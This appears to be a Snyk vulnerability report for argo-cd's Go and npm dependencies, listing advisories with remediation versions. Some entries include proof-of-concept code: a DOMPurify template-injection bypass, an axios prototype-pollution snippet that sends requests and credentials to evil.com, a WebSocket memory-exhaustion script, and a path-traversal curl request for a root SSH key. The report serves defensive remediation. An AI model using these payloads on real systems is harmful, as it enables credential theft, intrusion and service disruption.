Snyk test report
- /argo-cd/argoproj/argo-cd/v3/go.mod (gomodules)
- /argo-cd/argoproj/argo-cd/gitops-engine/gitops-engine/go.mod (gomodules)
- /argo-cd/argoproj/argo-cd/get-previous-release/hack/get-previous-release/go.mod (gomodules)
- /argo-cd/ui/yarn.lock (yarn)
- /argo-cd/ui-test/yarn.lock (yarn)
Improper Authentication
Detailed paths
Overview
Affected versions of this package are vulnerable to Improper Authentication via the ToASCII and ToUnicode functions. An attacker can bypass hostname validation by submitting Punycode-encoded labels that decode to ASCII-only labels, potentially leading to privilege escalation in applications that rely on these functions for security checks.
Note: The fix depends on the Go toolchain in use having Unicode version 16 or later, which is planned for the 1.27 release.
Remediation
Upgrade golang.org/x/net/idna to version 0.54.0 or higher.
References
Cross-site Scripting (XSS)
Detailed paths
Overview
dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the SAFE_FOR_TEMPLATES sanitization path when combined with a DOM-returning mode (RETURN_DOM, RETURN_DOM_FRAGMENT, or IN_PLACE). Template expressions such as {{...}}, ${...}, and <%...%> survive sanitization inside the text content of an attached shadow root, allowing an attacker to inject template payloads that are subsequently evaluated by a downstream template engine.
Note: This is only exploitable when SAFE_FOR_TEMPLATES: true is set alongside a DOM-returning mode, a DOM node with an already-attached shadow root is passed to the sanitizer, and the resulting shadow root content is fed into a template evaluator.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade dompurify to version 3.4.17 or higher.
References
Cross-site Scripting (XSS)
Detailed paths
Overview
dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via a sanitization bypass in _scrubTemplateExpressions when SAFE_FOR_TEMPLATES is enabled alongside a DOM-returning mode. The post-walk safety net _scrubTemplateExpressions (src/purify.ts:1717) recurses into <template>.content but never into attached shadow roots. An attacker who controls a DOM node carrying an attached shadow root can split a template expression (e.g. ${...}, {{...}}, or <%...%>) across text nodes separated by disallowed elements. After sanitization removes those elements, the fragments become adjacent and reconstitute a complete expression that a downstream template engine evaluates, resulting in cross-site scripting or template injection.
Note: This is only exploitable when SAFE_FOR_TEMPLATES: true is set together with a DOM-returning mode (RETURN_DOM: true, RETURN_DOM_FRAGMENT: true, or IN_PLACE: true), and the sanitized content is fed into a downstream template evaluator.
PoC
Preconditions:
- DOMPurify built from the affected source (dist/purify.js or an ESM/CJS bundle).
- A browser (or DOM implementation) with shadow DOM support.
- Application constructs a DOM node with an attached shadow root before sanitizing,
and later evaluates the shadow root's text content as a template.
Build a host element whose shadow root holds a template expression split across text nodes separated by disallowed elements, then sanitize in place with SAFE_FOR_TEMPLATES:
const host = document.createElement('div');
const root = host.attachShadow({ mode: 'open' });
// Split "${alert(document.domain)}" so no single fragment matches a regex.
// <object> is not in the default ALLOWED_TAGS and is removed during sanitization,
// leaving the surrounding text-node siblings adjacent.
root.appendChild(document.createTextNode('$'));
root.appendChild(document.createElement('object'));
root.appendChild(document.createTextNode('{alert(document.domain)}'));
DOMPurify.sanitize(host, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });
// After the disallowed element is removed, the fragments are adjacent and survive.
host.shadowRoot.normalize();
console.log(host.shadowRoot.textContent);
${alert(document.domain)}
A downstream template evaluator reading shadowRoot.textContent (for example new Function('return ' + content + '')() or any ${...}/{{...}} engine) then evaluates the fully formed expression.
Note: The PoC states it requires DOMPurify built from the affected source and a browser with shadow DOM support, with the application constructing a DOM node with an attached shadow root before sanitizing and later evaluating the shadow root's text content as a template.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade dompurify to version 3.4.17 or higher.
References
CRLF Injection
Detailed paths
Overview
basic-ftp is a FTP client for Node.js, supports FTPS over TLS, IPv6, Async/Await, and Typescript.
Affected versions of this package are vulnerable to CRLF Injection via unsanitized path parameters in the protectWhitespace function. An attacker can execute arbitrary FTP commands by injecting CRLF sequences into file path inputs, which are then interpreted as separate commands by the FTP server. This can lead to unauthorized file deletion, directory manipulation, file exfiltration, command execution on supporting servers, session hijacking, or service disruption.
Remediation
Upgrade basic-ftp to version 5.2.1 or higher.
References
HTTP Response Splitting
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to HTTP Response Splitting via the isFormData and getHeaders handling in the HTTP request path. An attacker can inject arbitrary request headers by supplying a prototype-polluted object that is mistaken for FormData, causing getHeaders() output to be merged into an outgoing request.
This lets attacker-controlled values, such as authorization or custom headers, ride along with requests made by applications that pass untrusted objects into Axios, exposing credentials or altering server-side request handling.
Notes
- The gadget only matters when the request body is a non-
FormDatapayload that Axios still routes through the Node HTTP adapter’s form-data detection path; browser-side usage is not implicated by this code path. - The advisory’s prototype-pollution prerequisite can come from any dependency in the application’s tree, not necessarily from Axios itself, so a separate merge/parser bug elsewhere can be enough to trigger the header injection.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
Prototype Pollution
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution through the mergeConfig code path in the request configuration handling. An attacker can influence request behavior by supplying a crafted config object with inherited properties such as transport, env, formSerializer, or transform callbacks on Object.prototype, causing Axios to use attacker-controlled settings during request dispatch and form serialization. This can redirect requests, alter serialization and response handling, and break application logic that relies on trusted per-request configuration.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
Prototype Pollution
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution when the Object.prototype has been polluted via a different exploit. The following properties in the HTTP adapter configuration may be manipulated, as they do not restrict their own property accesses with hasOwnProperty. An attacker can inject Authorization headers into the auth property, redirect external requests via the baseURL property or internal requests via the socketPath property, execute callbacks contained in HTTP redirects via the beforeRedirect property, or enable insecure HTTP parsing via the insecureHTTPParser property.
PoC
const axios = require('axios');
// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';
await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 1.15.2 or higher.
References
Asymmetric Resource Consumption (Amplification)
Detailed paths
Overview
ws is a simple to use websocket client, server and console for node.js.
Affected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) when handling a large number of very small fragments and data chunks. An attacker can cause excessive memory allocation and OOM by sending a high volume of tiny WebSocket frames
Workaround
This vulnerability can be mitigated by lowering the value of the maxPayload option.
PoC
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`);
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`client close - code: ${code} reason: ${reason.toString()}`);
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`server close - code: ${code} reason: ${reason.toString()}`);
});
});
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade ws to version 5.2.5, 6.2.4, 7.5.11, 8.21.0 or higher.
References
Directory Traversal
Detailed paths
Overview
Affected versions of this package are vulnerable to Directory Traversal via unsanitized input in the prefix, postfix, or dir parameters during path construction. An attacker can create files outside the intended temporary directory, potentially overwriting or placing files in sensitive locations, by supplying crafted values containing traversal sequences or absolute paths.
Note:
The fix for this issue was incomplete and led to a bypass, known as CVE-2026-49982. Users are recommended to upgrade to version 0.2.7 to get a complete fix for this issue.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tmp to version 0.2.6 or higher.
References
Directory Traversal
Detailed paths
Overview
Affected versions of this package are vulnerable to Directory Traversal due to the improper sanitization of non-string values in the prefix, postfix, or dir parameters during path construction. An attacker can create files outside the intended temporary directory, potentially overwriting or placing files in sensitive locations, by supplying crafted values containing traversal sequences or absolute paths.
Note:
This issue is due to an incomplete fix for CVE-2026-44705. Added _assertPath as a guard does not account for non-string values.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tmp to version 0.2.7 or higher.
References
Uncaught Exception
Detailed paths
Overview
qs is a querystring parser that supports nesting and arrays, with a depth limit.
Affected versions of this package are vulnerable to Uncaught Exception via stringify when arrayFormat: 'comma' is used with array elements that have a non-callable toString property. Such elements - as produced by JSON.parse, or by qs.parse under allowPrototypes or plainObjects (which yields null-prototype objects) - cause Array.prototype.join or utils.encode to throw a TypeError: Cannot convert object to primitive value, crashing the process.
Note: This is only exploitable if the arrayFormat: 'comma' option is explicitly set.
Remediation
Upgrade qs to version 6.16.1 or higher.
References
Directory Traversal
Detailed paths
Overview
moment is a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates.
Affected versions of this package are vulnerable to Directory Traversal in the locale() function, whose locale name validation is circumvented by a non-string value, so an object can direct the load to an attacker-specified path. An attacker can cause a file to be loaded from a path of their choosing by supplying a non-string value that the application passes to moment.locale(). This requires the application to hand user-supplied non-string input directly to moment.locale(), plain strings are unaffected because the existing validation rejects those containing path separators, and only server-side npm consumers are in scope.
Note: This is a bypass of the fix for the vulnerability described in CVE-2022-24785.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade moment to version 2.31.0 or higher.
References
Regular Expression Denial of Service (ReDoS)
Detailed paths
Overview
minimatch is a minimal matching utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the AST class, caused by catastrophic backtracking when an input string contains many * characters in a row, followed by an unmatched character.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade minimatch to version 3.1.3, 4.2.4, 5.1.7, 6.2.1, 7.4.7, 8.0.5, 9.0.6, 10.2.1 or higher.
References
Inefficient Algorithmic Complexity
Detailed paths
Overview
minimatch is a minimal matching utility.
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the matchOne function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.
Remediation
Upgrade minimatch to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.
References
Arbitrary Code Injection
Detailed paths
Overview
Affected versions of this package are vulnerable to Arbitrary Code Injection due the improper validation of options.imports key names in _.template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.
Notes:
Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.
This issue is due to the incomplete fix for CVE-2021-23337.
Remediation
Upgrade lodash-es to version 4.18.1 or higher.
References
Arbitrary Code Injection
Detailed paths
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Arbitrary Code Injection due the improper validation of options.imports key names in _.template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.
Notes:
Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.
This issue is due to the incomplete fix for CVE-2021-23337.
Remediation
Upgrade lodash to version 4.18.1 or higher.
References
Infinite loop
Detailed paths
Overview
golang.org/x/net/http2 is a work-in-progress HTTP/2 implementation for Go.
Affected versions of this package are vulnerable to Infinite loop.
Go Vulnerability Report:
When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0.
Remediation
Upgrade golang.org/x/net/http2 to version 0.53.0 or higher.
References
Denial of Service (DoS)
Detailed paths
Overview
golang.org/x/net/html is a package that implements an HTML5-compliant tokenizer and parser.
Affected versions of this package are vulnerable to Denial of Service (DoS) in the addText and fosterParent functions of the html package. An attacker can force quadratic allocations and byte copies by supplying HTML with many short text runs separated by ignored end tags, because each append to an existing TextNode reallocates and copies the accumulated Data string.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
